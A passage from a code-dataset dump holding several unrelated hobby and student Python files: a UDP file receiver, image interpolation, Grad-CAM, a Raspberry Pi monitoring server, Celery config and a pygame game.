t2 = time.time()\n print(\"并行执行时间:\", t2 - t1)\n","sub_path":"Python_Library_Use/zzz_custom_other_tools/Concurrency_test/test_class/process_function.py","file_name":"process_function.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"183187176","text":"import argparse\nimport json\nimport socket\nimport sys\nimport time\n\nrecv_wind = 25 #always 25 segments of 100 bytes\nMAX_SENDER = 100\nMSS = 100\nclass Receiver(object):\n def __init__(self, port, lossypath):\n #TODO: implement lossypath\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind(('localhost', port))\n self.sock = sock\n self.expect_seg = []\n self.data_size = -1\n self.buffer = {}\n self.result = None\n self.pattern = lossypath\n\n def listen(self):\n RSN = 0\n while True:\n #print \"----------------------------------------------------\"\n #print \"-------------------New Turn For Receiver------------\"\n RSN = RSN + 1\n data, addr = self.sock.recvfrom(200) # segment buffer size is 100 bytes\n\n # Implement losspattern\n if int(self.pattern[0]) == 1 and (RSN -1) % int(pattern[1]) == 0:\n\n #print \"segment lost:\", RSN\n continue # discard the segment we just received and continue\n elif int(self.pattern[0]) == 2 and str(RSN) in self.pattern[1:]:\n #print \"segment lost:\", RSN\n continue\n\n data = json.loads(data) # parse data\n #print \"Receiver received from sender Seg Num:\", data['seg']\n\n if self.data_size < 0: # init data_size\n self.data_size = data['size']\n start_byte = 0\n\n # Init: add the first expected packages, 25 or less\n for i in xrange(25):\n if start_byte >= self.data_size:\n break\n self.expect_seg.append(start_byte)\n start_byte = start_byte + MSS\n\n if data['seg'] in self.expect_seg:\n # Remove the expected segment in expected list\n index = self.expect_seg.index(data['seg'])\n del self.expect_seg[index]\n\n # If it is the first in the list, it means that all data previous to this seg is ready\n # So we can append this seg to result file\n if index == 0:\n if self.result is not None:\n self.result = self.result + data['data']\n else:\n self.result = data['data']\n\n # Check the buffer to see if any seg is ready to be appended to file\n next_seg = data['seg'] + 100\n if data['seg'] in self.buffer.keys():\n del self.buffer[data['seg']]\n while next_seg in self.buffer.keys():\n self.result = self.result + self.buffer[next_seg]\n del self.buffer[next_seg]\n next_seg = next_seg + 100\n else:\n # If it's not the first one in expected, only put it in buffer\n self.buffer[data['seg']] = data['data']\n\n if start_byte < self.data_size:\n # After we get one seg out, put a new expected in, if there exists\n self.expect_seg.append(start_byte)\n start_byte = start_byte + MSS\n\n #print \"expect seg\", self.expect_seg\n #print \"data buffer\", sorted(self.buffer.keys())\n\n\n if len(self.expect_seg) > 0:\n #print \"Receiver sent to Sender ACK #\", self.expect_seg[0]\n self.sock.sendto(str(self.expect_seg[0]), addr)\n\n else:\n self.sock.sendto(str(self.data_size), addr)\n return self.result\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"port\", type=int, help=\"UDP port the receiver should receive on\")\n parser.add_argument(\"losspattern\", help=\"file aloows emulation of lossy network\")\n args = parser.parse_args()\n\n with open(args.losspattern) as f:\n data = f.read()\n pattern = data.split()\n\n recev = Receiver(args.port, pattern) #sys.argv[1] is port num, 2 is a file indicating lossy pattern\n #print pattern[1:]\n recev.listen()\n","sub_path":"MP2/receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":4234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"166219922","text":"#!/usr/bin/env python\n# Copyright (c) 2012 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\" Compile step \"\"\"\n\nfrom build_step import BuildStep\nimport sys\n\n\nclass Compile(BuildStep):\n def __init__(self, timeout=16800, no_output_timeout=16800, **kwargs):\n super (Compile, self).__init__(\n timeout=timeout,\n no_output_timeout=no_output_timeout,\n **kwargs)\n\n def _Run(self):\n self._flavor_utils.Compile(self._args['target'])\n\n\nif '__main__' == __name__:\n sys.exit(BuildStep.RunBuildStep(Compile))\n","sub_path":"slave/skia_slave_scripts/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"79083988","text":"from PIL import Image\nimport cv2\nimport numpy as np\nimport math\ndef nearest(image,x,y):\n image=Image.open(image)\n image_array=np.array(image)\n [m,n]=np.shape(image_array)\n new_array=np.zeros([x,y])\n deth1=m/x\n deth2=n/y\n for i in range(0,x-1):\n for j in range(0,y-1):\n a=round((i+1)*deth1)\n b=round((j+1)*deth2)\n new_array[i,j]=image_array[a-1,b-1]\n data = Image.fromarray(new_array)\n data.show()\ndef bilinear(image,x,y):\n image=Image.open(image)\n image_array=np.array(image)\n [m,n]=np.shape(image_array)\n new_array=np.zeros([x,y])\n deth1=m/x\n deth2=n/y\n\n # f(x , y) = f(X + u, Y + v) =f (X, Y) * (1 - u) * (1 - v) + f(X, Y + 1) * (1 - u) * v + f(X + 1, Y) * u * (1 - v) + f (X + 1, Y + 1) * u * v;\n for i in range(0,x-1):\n for j in range(0,y-1):\n X=(i+1)*deth1\n Y=(j+1)*deth2\n intX=int(X)\n intY=int(Y)\n u=X-intX\n v=Y-intY\n new_array[i,j] =image_array[intX-1, intY-1] * (1 - u) * (1 - v) + image_array[intX-1, intY ] * (1 - u) * v + image_array[intX, intY-1] * u * (1 - v) + image_array [intX , intY ] * u * v\n data = Image.fromarray(new_array)\n data.show()\n#构造bicubic函数从而进行双三次线性插值\ndef bicubic_prefunction(x):\n x = np.abs(x)\n if 0 <= x < 1:\n return 1 - 2 * x * x + x * x * x\n if 1 <= x < 2:\n return 4 - 8 * x + 5 * x * x - x * x * x\n else:\n return 0\ndef bicubic(t, m, n):\n img = cv2.imread(t)\n height, width, channels = img.shape\n emptyImage = np.zeros((m, n, channels), np.uint8)\n sh = m / height\n sw = n / width\n for i in range(m):\n for j in range(n):\n x = i / sh\n y = j / sw\n p = (i + 0.0) / sh - x\n q = (j + 0.0) / sw - y\n x = int(x) - 2\n y = int(y) - 2\n A = np.array([\n [bicubic_prefunction(1 + p), bicubic_prefunction(p), bicubic_prefunction(1 - p), bicubic_prefunction(2 - p)]\n ])\n if x >= m - 3:\n m - 1\n if y >= n - 3:\n n - 1\n if x >= 1 and x <= (m - 3) and y >= 1 and y <= (n - 3):\n B = np.array([\n [img[x - 1, y - 1], img[x - 1, y],\n img[x - 1, y + 1],\n img[x - 1, y + 1]],\n [img[x, y - 1], img[x, y],\n img[x, y + 1], img[x, y + 2]],\n [img[x + 1, y - 1], img[x + 1, y],\n img[x + 1, y + 1], img[x + 1, y + 2]],\n [img[x + 2, y - 1], img[x + 2, y],\n img[x + 2, y + 1], img[x + 2, y + 1]],\n\n ])\n C = np.array([\n [bicubic_prefunction(1 + q)],\n [bicubic_prefunction(q)],\n [bicubic_prefunction(1 - q)],\n [bicubic_prefunction(2 - q)]\n ])\n blue = np.dot(np.dot(A, B[:, :, 0]), C)[0, 0]\n green = np.dot(np.dot(A, B[:, :, 1]), C)[0, 0]\n red = np.dot(np.dot(A, B[:, :, 2]), C)[0, 0]\n\n # ajust the value to be in [0,255]\n def adjust(value):\n if value > 255:\n value = 255\n elif value < 0:\n value = 0\n return value\n\n blue = adjust(blue)\n green = adjust(green)\n red = adjust(red)\n emptyImage[i, j] = np.array([blue, green, red], dtype=np.uint8)\n data = Image.fromarray(emptyImage)\n data.show()\n\n\"\"\"\ndef bicubic(image,x,y):\n image=Image.open(image)\n image_array=np.array(image)\n [m,n]=np.shape(image_array)\n F=np.zeros([x,y])\n deths1=m/x\n deths2=n/y\n for i in range(0,x-1):\n for j in range(0,y-1):\n X=deths1*(i+1)\n Y=deths2*(j+1)\n intX=int(X)\n intY=int(Y)\n u=X-intX\n v=Y-intY\n A=np.matrix([[bicubic_prefunction(1+v),bicubic_prefunction(v),bicubic_prefunction(1-v),bicubic_prefunction(2-v)]])\n B=np.matrix([[image_array[intX-3,intY-3],image_array[intX-3,intY-2],image_array[intX-3,intY-1],image_array[intX-3,intY]],\n [image_array[intX-2,intY-3],image_array[intX-2,intY-2],image_array[intX-2,intY-1],image_array[intX-2,intY]],\n [image_array[intX-1,intY-3],image_array[intX-1,intY-2],image_array[intX-1,intY-1],image_array[intX-1,intY]],\n [image_array[intX,intY-3],image_array[intX,intY-2],image_array[intX,intY-1],image_array[intX,intY]]])\n test=np.matrix([bicubic_prefunction(1+u),bicubic_prefunction(u),bicubic_prefunction(1-u),bicubic_prefunction(2-u)])\n C=test.transpose()\n F[i,j]=float(A*B*C)\n data=Image.fromarray(F)\n data.show()\n\"\"\"\nnearest(\"C:\\\\Users\\\\lenovo\\\\Desktop\\\\1\\\\lena.bmp\",2048,2048)\nbilinear(\"C:\\\\Users\\\\lenovo\\\\Desktop\\\\1\\\\lena.bmp\",2048,2048)\nbicubic(\"C:\\\\Users\\\\lenovo\\\\Desktop\\\\1\\\\lena.bmp\",2048,2048)","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":5118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"144168734","text":"from root import root_search\nglobal c\nc =0\nclass binarySearch(root_search):\n def __init__(self, order = ''):\n super().__init__(order)\n def test(self, x): \n if x > 1:\n x_right = x #Set initial right limit to be the number itself\n else:\n x_right = 1\n x_left = 0 #Set initial left limit to be 0\n if type(self.order) == list:\n power = int(self.order[0])\n order = int(self.order[1])\n else: \n order = int(self.order)\n while 1:\n global c\n c+=1\n temp = (x_right + x_left) /2 #Do division\n if temp**order - x> 0 : #when temp^order > x, set temp to be new right limit\n x_right = temp\n else: #when temp^order < x, set temp to be new left limit\n x_left = temp\n \n if abs(x_right - x_left) < self.accuracy*x_right : #when left and right limit are close enough, return temp as the answer\n if power != None:\n return temp**power\n else:\n return temp\n \n \n \n def get_root(self, x):\n if type(self.order) != list:\n if int(self.order)%2 == 1: #if order is odd number(which is true for our case)\n if x>0:\n root = self.test(x) #change the positivity of input\n else:\n root = -self.test(-x)\n else:\n if x < 0:\n raise ValueError('input number shall not be negative for even number of order')\n else:\n root = self.test(x) #for even number order, giving a negative input will throw an error message\n else: \n if int(self.order[1])%2 ==1:\n if x>0:\n root = self.test(x)\n else:\n root = -self.test(-x)\n else:\n if x < 0:\n raise ValueError('input number shall not be negative for even number of order')\n else:\n root = self.test(x)\n print(root) \n return\n \nnew_test = binarySearch() \nnew_test.order = '3/5'\nS = float(input(\"Input the number you want to find root: \"))\nnew_test.get_root(S)\npass\n \n","sub_path":"EE4483CA1/binarySearch.py","file_name":"binarySearch.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"457779161","text":"# from __future__ import absolute_import\nimport os\nfrom celery import Celery\nfrom django.conf import settings\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cole_rochman.settings')\n\napp = Celery('cole_rochman',\n broker=settings.BROKER_URL,\n backend=settings.CELERY_RESULT_BACKEND,\n include=['core.tasks']\n )\n\n# Using a string here means the worker doesn't have to serialize\n# the configuration object to child processes.\n# - namespace='CELERY' means all celery-related configuration keys\n# should have a `CELERY_` prefix.\napp.config_from_object('django.conf:settings', namespace='CELERY')\napp.config_from_object('cole_rochman.settings.celery')\napp.conf.ONCE = {\n 'backend': 'celery_once.backends.Redis',\n 'settings': {\n 'url': settings.BROKER_URL,\n 'default_timeout': 60 * 60 * 24\n }\n}\n\n# Load task modules from all registered Django app configs.\napp.autodiscover_tasks()\n\n\n@app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n\n\nif __name__ == '__main__':\n app.start()\n","sub_path":"cole_rochman/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"195135614","text":"#!/usr/bin/python\n\nimport socket\nimport json\n\nimport os\nimport subprocess\nimport re\n\nimport signal\nimport sys\n\nUDP_PORT_NO = 2222\n\nserverSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nserverSocket.bind(('', UDP_PORT_NO))\n\ncmdTableMonitor = {\n \"cpu\": {\n \"cpu_frequency\": {\n \"command\": \"test -r /sys/devices/system/cpu/cpufreq/policy0/cpuinfo_cur_freq && cat /sys/devices/system/cpu/cpufreq/policy0/cpuinfo_cur_freq || test -r /sys/devices/system/cpu/cpufreq/policy0/scaling_cur_freq && cat /sys/devices/system/cpu/cpufreq/policy0/scaling_cur_freq || echo -1000\",\n \"regexp\": \"(.*)\",\n \"post\": \"$1/1000\"\n },\n \"load1,load5,load15\": {\n \"command\": \"cat /proc/loadavg\",\n \"regexp\": \"^(\\\\S+)\\\\s(\\\\S+)\\\\s(\\\\S+)\",\n \"post\": \"\"\n },\n \"scaling_governor\": {\n \"command\": \"cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor\",\n \"regexp\": \"(.*)\",\n \"post\": \"\"\n }\n },\n \"raspberry\": {\n \"cpu_voltage\": {\n \"command\": \"vcgencmd measure_volts core\",\n \"regexp\": \"(\\\\d+.\\\\d+)V\",\n \"post\": \"\"\n },\n \"mem_arm\": {\n \"command\": \"vcgencmd get_mem arm\",\n \"regexp\": \"(\\\\d+)\",\n \"post\": \"\"\n },\n \"mem_gpu\": {\n \"command\": \"vcgencmd get_mem gpu\",\n \"regexp\": \"(\\\\d+)\",\n \"post\": \"\"\n }\n },\n \"memory\": {\n \"memory_total\": {\n \"command\": \"cat /proc/meminfo\",\n \"regexp\": \"MemTotal:\\\\s+(\\\\d+)\",\n \"post\": \"$1/1024\"\n },\n \"memory_free\": {\n \"command\": \"cat /proc/meminfo\",\n \"regexp\": \"MemFree:\\\\s+(\\\\d+)\",\n \"post\": \"$1/1024\"\n },\n \"memory_available\": {\n \"command\": \"cat /proc/meminfo\",\n \"regexp\": \"MemAvailable:\\\\s+(\\\\d+)\",\n \"post\": \"$1/1024\",\n \"multiline\": True\n }\n },\n \"network\": {\n \"net_received\": {\n \"command\": \"cat /sys/class/net/eth0/statistics/rx_bytes\",\n \"regexp\": \"(.*)\",\n \"post\": \"$1*-1\"\n },\n \"net_send\": {\n \"command\": \"cat /sys/class/net/eth0/statistics/tx_bytes\",\n \"regexp\": \"(.*)\",\n \"post\": \"\"\n }\n },\n \"sdcard\": {\n \"sdcard_root_total\": {\n \"command\": \"df /\",\n \"regexp\": \"\\\\S+\\\\s+(\\\\d+).*\\\\/$\",\n \"post\": \"$1/1024\",\n \"multiline\": True\n },\n \"sdcard_boot_total\": {\n \"command\": \"df /boot\",\n \"regexp\": \"\\\\S+\\\\s+(\\\\d+).*\\\\/boot$\",\n \"post\": \"$1/1024\",\n \"multiline\": True\n },\n \"sdcard_root_used\": {\n \"command\": \"df /\",\n \"regexp\": \"\\\\S+\\\\s+\\\\d+\\\\s+(\\\\d+).*\\\\/$\",\n \"post\": \"$1/1024\",\n \"multiline\": True\n },\n \"sdcard_boot_used\": {\n \"command\": \"df /boot\",\n \"regexp\": \"\\\\S+\\\\s+\\\\d+\\\\s+(\\\\d+).*\\\\/boot$\",\n \"post\": \"$1/1024\",\n \"multiline\": True\n }\n },\n \"swap\": {\n \"swap_total\": {\n \"command\": \"cat /proc/meminfo\",\n \"regexp\": \"SwapTotal:\\\\s+(\\\\d+)\",\n \"post\": \"$1/1024\",\n \"multiline\": True\n },\n \"swap_used\": {\n \"command\": \"cat /proc/meminfo\",\n \"regexp\": \"SwapFree:\\\\s+(\\\\d+)\",\n #TODO: \"post\": \"(rpi.swap_total - $1)/1024\",\n \"post\": \"$1/1024\",\n \"multiline\": True\n }\n },\n \"temperature\": {\n \"soc_temp\": {\n \"command\": \"cat /sys/devices/virtual/thermal/thermal_zone0/temp\",\n \"regexp\": \"(.*)\",\n \"post\": \"$1/1000\"\n }\n },\n \"uptime\": {\n \"uptime\": {\n \"command\": \"cat /proc/uptime\",\n \"regexp\": \"(^\\\\S+)\",\n \"post\": \"\"\n }\n },\n \"wlan\": {\n \"wifi_received\": {\n \"command\": \"cat /sys/class/net/wlan0/statistics/rx_bytes\",\n \"regexp\": \"(.*)\",\n \"post\": \"$1*-1\"\n },\n \"wifi_send\": {\n \"command\": \"cat /sys/class/net/wlan0/statistics/tx_bytes\",\n \"regexp\": \"(.*)\",\n \"post\": \"\"\n }\n }\n}\n\n\n \n#s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n#conn = None\n\n#signal.signal(signal.SIGINT, signal_handler)\n\n\ndef main():\n while 1:\n while 1:\n data, address = serverSocket.recvfrom(1024)\n \n request = json.loads(data)\n sendResponse = False;\n response = {} \n \n if not data:\n break\n\n if request[\"cmd\"] == \"shutdown\":\n os.system(\"shutdown now\")\n \n elif request[\"cmd\"] == \"test\":\n print(\"received test\")\n \n elif request[\"cmd\"] == \"serverInfo\":\n sendResponse = True\n response[\"data\"] = {}\n response[\"data\"][\"version\"] = \"0.0.1\"\n response[\"success\"] = True\n \n elif request[\"cmd\"] == \"monitor\":\n sendResponse = True\n \n try:\n response[\"data\"] = ProcessCmdMonitor(request[\"param\"])\n except:\n print(\"cannot process command \" + request[\"cmd\"])\n sys.exc_info()[0]\n response[\"success\"] = False\n else:\n response[\"success\"] = True\n \n elif request[\"cmd\"] == \"uname\":\n #print(\"received uname\")\n p = subprocess.Popen([\"uname\", \"-a\"], stdout=subprocess.PIPE, shell=False)\n #print(\"1: \", p.stdout.read() )\n p.wait()\n print(\"2: \", p.stdout.read() )\n \n else:\n print(\"unknown command\")\n print(request[\"cmd\"])\n \n \n if sendResponse is True:\n response[\"cmd\"] = request[\"cmd\"]\n response[\"id\"] = request[\"id\"]\n serverSocket.sendto( json.dumps(response) , address)\n \n\n conn.close()\n\n\n\ndef signal_handler(sig, frame):\n print('You pressed Ctrl+C!')\n if (conn):\n conn.close()\n sys.exit(0)\n\n\ndef StopVideo():\n global videoProc\n \n if ( (videoProc) and (videoProc.returncode == None)):\n print(\"trying to stop playing video...\")\n videoProc.terminate()\n videoProc.wait()\n print(\"video stopped!\")\n else:\n print(\"no video playing\")\n \ndef PlayVideo(video):\n global videoProc\n \n StopVideo()\n print(\"starting video: \", video)\n videoProc = subprocess.Popen([\"cvlc\", \"--preferred-resolution\", \"-1\", video], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=False)\n\n\n\ndef ProcessCmdMonitor(param):\n\n response = []\n\n for component, value in param[\"components\"].items():\n if value is True:\n #print(\"Executing commands for component \" + component)\n \n comp = {}\n comp[\"name\"] = component\n comp[\"data\"] = []\n \n for cmd, cmdCfg in cmdTableMonitor[component].items():\n \n command = cmdCfg[\"command\"]\n regexp = cmdCfg[\"regexp\"]\n post = cmdCfg[\"post\"]\n \n stdout = os.popen( command ).read()\n val = (re.search( regexp, stdout)).group(1)\n \n if \"$1\" in post:\n post = post.replace(\"$1\", val)\n val = eval(post)\n \n #print( cmd + \": \", val, type(val) )compData = {}\n cmdData = {}\n cmdData[\"name\"] = cmd\n cmdData[\"value\"] = val\n comp[\"data\"].append(cmdData)\n \n response.append(comp)\n \n return response\n \n \n \n #for key, cmd in table[\"cpu\"].items():\n # stdout = os.popen( cmd[\"command\"] ).read()\n # m = (re.search( cmd[\"regexp\"], stdout)).group(0)\n # print(m)\n \n \n \n\np = None\nvideoProc = None\nif __name__ == \"__main__\":\n # execute only if run as a script\n main()\n","sub_path":"server/package/pi-control/usr/local/lib/pi-control/pi-control-server.py","file_name":"pi-control-server.py","file_ext":"py","file_size_in_byte":8329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"331493867","text":"from setuptools import setup, find_packages\nfrom os import environ\n\nversion = ''\nif environ.get('APPVEYOR_BUILD_VERSION'):\n version = environ.get('APPVEYOR_BUILD_VERSION')\nelse:\n version = '1.0.0'\n\nsetup(\n name=\"NPTUAutoCheckin\",\n version=version,\n packages=find_packages(),\n install_requires=['numpy','Pillow','pytesseract','selenium','wheel'],\n author=\"Still Hsu, Guang-Yih Hsu\",\n author_email=\"business@stillu.cc\"\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"608572403","text":"######################################\n# Time:2020/03/16\n# alter: ZWQ\n######################################\n\nfrom flask import Flask, request\nfrom flask_sqlalchemy import SQLAlchemy\nfrom app import config\n\n# from flask_restplus import Api\n\n# swagger test接口 header 中添加Authorization鉴权,Bearer加空格加access_token\n# authorizations = {\n# 'apikey': {\n# 'type': 'apiKey',\n# 'in': 'header',\n# 'name': 'Authorization'\n# }\n# }\napp = Flask(__name__)\n# api = Api(app,authorizations =authorizations,security='apikey') # swagger security='apikey'使每个请求都要添加token\napp.config.from_object(config.DevelopmentConfig())\ndb = SQLAlchemy()\n\n\ndef create_app():\n @app.before_first_request\n def create_tables():\n '''创建数据库'''\n db.create_all()\n\n @app.after_request\n def after_request(response):\n \"\"\"请求自带tocken\"\"\"\n response.headers.add('Access-Control-Allow-Origin', '*')\n if request.method == 'OPTIONS':\n response.headers['Access-Control-Allow-Methods'] = 'DELETE, GET, POST, PUT'\n headers = request.headers.get('Access-Control-Request-Headers')\n if headers:\n response.headers['Access-Control-Allow-Headers'] = headers\n return response\n\n from flask_jwt_extended import JWTManager\n\n jwt = JWTManager(app)\n from app.user.models import RevokedTokenModel\n\n @jwt.token_in_blacklist_loader\n def chexk_if_token_in_blacklist(decrpted_token):\n jti = decrpted_token\n return RevokedTokenModel.is_jti_blacklisted(jti)\n\n db.init_app(app)\n return app\n","sub_path":"app/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"508141539","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\n\n\nclass Res18(nn.Module):\n def __init__(self, net):\n super(Res18, self).__init__()\n\n self.res18 = net\n\n # disect the network to access its last convolutional layer\n self.features_conv = nn.Sequential(self.res18.conv1,\n self.res18.bn1,\n self.res18.layer1,\n self.res18.layer2,\n self.res18.layer3,\n self.res18.layer4\n ) # list(self.resx.children())[:-5]\n\n self.linear = self.res18.linear\n\n # placeholder for the gradients\n self.gradients = None\n\n # hook for the gradients of the activations\n def activations_hook(self, grad):\n self.gradients = grad\n\n def forward(self, x):\n x = self.features_conv(x)\n\n # register the hook\n h = x.register_hook(self.activations_hook)\n\n x = F.avg_pool2d(x, 4)\n x = x.view(x.size(0), -1)\n x = self.linear(x)\n return x\n\n # method for the gradient extraction\n def get_activations_gradient(self):\n return self.gradients\n\n # method for the activation exctraction\n def get_activations(self, x):\n return self.features_conv(x)\n\n\ndef getheatmap(pred, class_pred, netx, img):\n # get the gradient of the output with respect to the parameters of the model\n pred[:, class_pred].backward()\n # pull the gradients out of the model\n gradients = netx.get_activations_gradient()\n\n # pool the gradients across the channels\n pooled_gradients = torch.mean(gradients, dim=[0, 2, 3])\n\n # get the activations of the last convolutional layer\n activations = netx.get_activations(img.cuda()).detach()\n\n # weight the channels by corresponding gradients\n for i in range(512):\n activations[:, i, :, :] *= pooled_gradients[i]\n\n # average the channels of the activations\n heatmap = torch.mean(activations, dim=1).squeeze()\n\n # relu on top of the heatmap\n # expression (2) in https://arxiv.org/pdf/1610.02391.pdf\n heatmap = np.maximum(heatmap.cpu(), 0)\n\n # normalize the heatmap\n heatmap /= torch.max(heatmap)\n # heatmap = None\n return heatmap\n\n\ndef imshow(img, ax):\n img = img / 2 + 0.5 # unnormalize\n npimg = img.cpu().numpy()\n ax.imshow(np.transpose(npimg, (1, 2, 0)))\n\n\ndef superposeimage(heatmap, img):\n heat1 = np.array(heatmap)\n heatmap1 = cv2.resize(heat1, (img.shape[1], img.shape[0]))\n heatmap1 = np.uint8(255 * heatmap1)\n heatmap1 = cv2.applyColorMap(heatmap1, cv2.COLORMAP_JET)\n superimposed_img = heatmap1 * 0.4 + img\n cv2.imwrite('./map.jpg', superimposed_img)\n\n\ndef gradcamof(net, imgs, classes):\n netx = Res18(net)\n netx.eval()\n\n for img in imgs:\n fig, axes = plt.subplots(nrows=1, ncols=3)\n # get the most likely prediction of the model\n pred = netx(img.cuda())\n from torchvision.utils import save_image\n imx = img[0]\n save_image(imx, 'img1.png')\n class_pred = int(np.array(pred.cpu().argmax(dim=1)))\n imshow(torchvision.utils.make_grid(img), axes[0])\n print(classes[class_pred])\n # axes.set_title(str(classes[class_pred]))\n\n # draw the heatmap\n heatmap = getheatmap(pred, class_pred, netx, img)\n axes[1].matshow(heatmap.squeeze())\n\n imx = cv2.imread(\"./img1.png\")\n imx = cv2.cvtColor(imx, cv2.COLOR_BGR2RGB)\n # plt.imshow(imx, cmap='gray', interpolation='bicubic')\n superposeimage(heatmap, imx)\n\n imx = cv2.imread('./map.jpg')\n imx = cv2.cvtColor(imx, cv2.COLOR_BGR2RGB)\n\n # scale_percent = 220 # percent of original size\n # width = int(imx.shape[1] * scale_percent / 100)\n # height = int(imx.shape[0] * scale_percent / 100)\n # dim = (width, height)\n # # resize image\n # imx = cv2.resize(img, dim, interpolation=cv2.INTER_AREA)\n axes[2].imshow(imx, cmap='gray', interpolation='bicubic')\n\n","sub_path":"A11/src/visualization/gradcam/oldgradcam.py","file_name":"oldgradcam.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"93970980","text":"import pygame, sys, time, random\nfrom pygame.locals import *\n\ndef game_init(w,h):\n pygame.init()\n #tamanho da tela\n width,height = w,h\n size = width,height\n #modo do display do pygame\n display = pygame.display.set_mode(size)\n #nome do projeto\n pygame.display.set_caption(\"Ping Pong\")\n return display\n\nwidth,height = 640, 480\ndisplay = game_init(width,height)\n#para por na cor da tela\ndisplay_window = pygame.display.set_mode((width, height))\n\n#clock ?\nfps = 25\n\n#tempo\nsec = 0\nt = pygame.time.get_ticks()\nclock = pygame.time.Clock()\n\n#cores\ngreen = (0,200,200)\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\n\n#tempo - fonte e cor\nfont = pygame.font.Font(None,30)\ntext_color = green\n\n#posicao inicial do retangulo\nrect_x = 272\nrect_y = 470\n\nfloor_collision = False\nwin = False\n\n# bola - cor, mudanca, coordenadas\nx_cor = random.randint(15, width - 15)\ny_cor = random.randint(15, height - 15)\n\nx_change = random.randint(3, 7)\ny_change = random.randint(3, 7)\n\ncoordinates = []\n\n#musica\nmusic = pygame.mixer.Sound('musics/endofline.ogg')\n\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n if event.type == KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n pygame.quit()\n sys.exit()\n\n key = pygame.key.get_pressed()\n\n if ((pygame.time.get_ticks()-t) >= 1000):\n sec += 1\n t = pygame.time.get_ticks()\n #fim de jogo\n if (sec <= 60):\n if floor_collision == True:\n sec -= 1\n elif (sec >= 60):\n win = True\n\n music.play()\n\n #movendo o retangulo\n if key[pygame.K_LEFT]:\n rect_x -= 5\n if rect_x < 0:\n rect_x = 0\n if key[pygame.K_RIGHT]:\n rect_x += 5\n if rect_x > 532:\n rect_x = 540\n\n #fundo preto\n display_window.fill(black)\n\n #colocar o texto do tempo na tela\n time_text = font.render(\"Time: \" + str(sec) + \"s\", True, text_color)\n display.blit(time_text,(10,10))\n\n #retangulo\n rect = pygame.draw.rect(display, white, [rect_x, rect_y, 100, 100])\n\n clock.tick(fps)\n pygame.display.update()\n pygame.display.flip()\n time.sleep(0.015)\n","sub_path":"src/passo-2.py","file_name":"passo-2.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"253023676","text":"\"\"\"\nDumps odML-Structures\n\"\"\"\n\n\ndef get_props(obj, props):\n out = []\n for p in props:\n if hasattr(obj, p):\n x = getattr(obj, p)\n if not x is None:\n out.append(\"%s=%s\" % (p, repr(x)))\n return \", \".join(out)\n\n\ndef dumpSection(section, indent=1):\n if section is None:\n return\n\n print(\"%*s*%s (%s)\" % (\n indent, \" \", section.name, get_props(\n section,\n [\"type\", \"definition\", \"id\", \"link\", \"include\", \"repository\"]\n )\n ))\n\n for prop in section.properties:\n print(\"%*s:%s (%s)\" % (\n indent + 1, \" \", prop.name,\n get_props(\n prop,\n [\"synonym\", \"definition\", \"dependency\", \"dependencyValue\"]\n )\n ))\n for value in prop.values:\n print(\"%*s:%s (%s)\" % (\n indent + 3, \" \", value.data,\n get_props(\n value,\n [\"dtype\", \"unit\", \"uncertainty\", \"definition\",\n \"id\", \"defaultFileName\"]\n )\n ))\n\n for sub in section.sections:\n dumpSection(sub, indent * 2)\n\n\ndef dumpDoc(doc):\n for sec in doc:\n dumpSection(sec)\n","sub_path":"odml/tools/dumper.py","file_name":"dumper.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"650138460","text":"from sklearn.ensemble import RandomForestRegressor\nimport sklearn.preprocessing as preprocessing\nfrom sklearn import linear_model\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport matplotlib as mpl\nimport numpy as np\npd.set_option('display.max_rows', 500)\npd.set_option('display.width', 1000)\nmpl.rcParams['font.sans-serif'] = 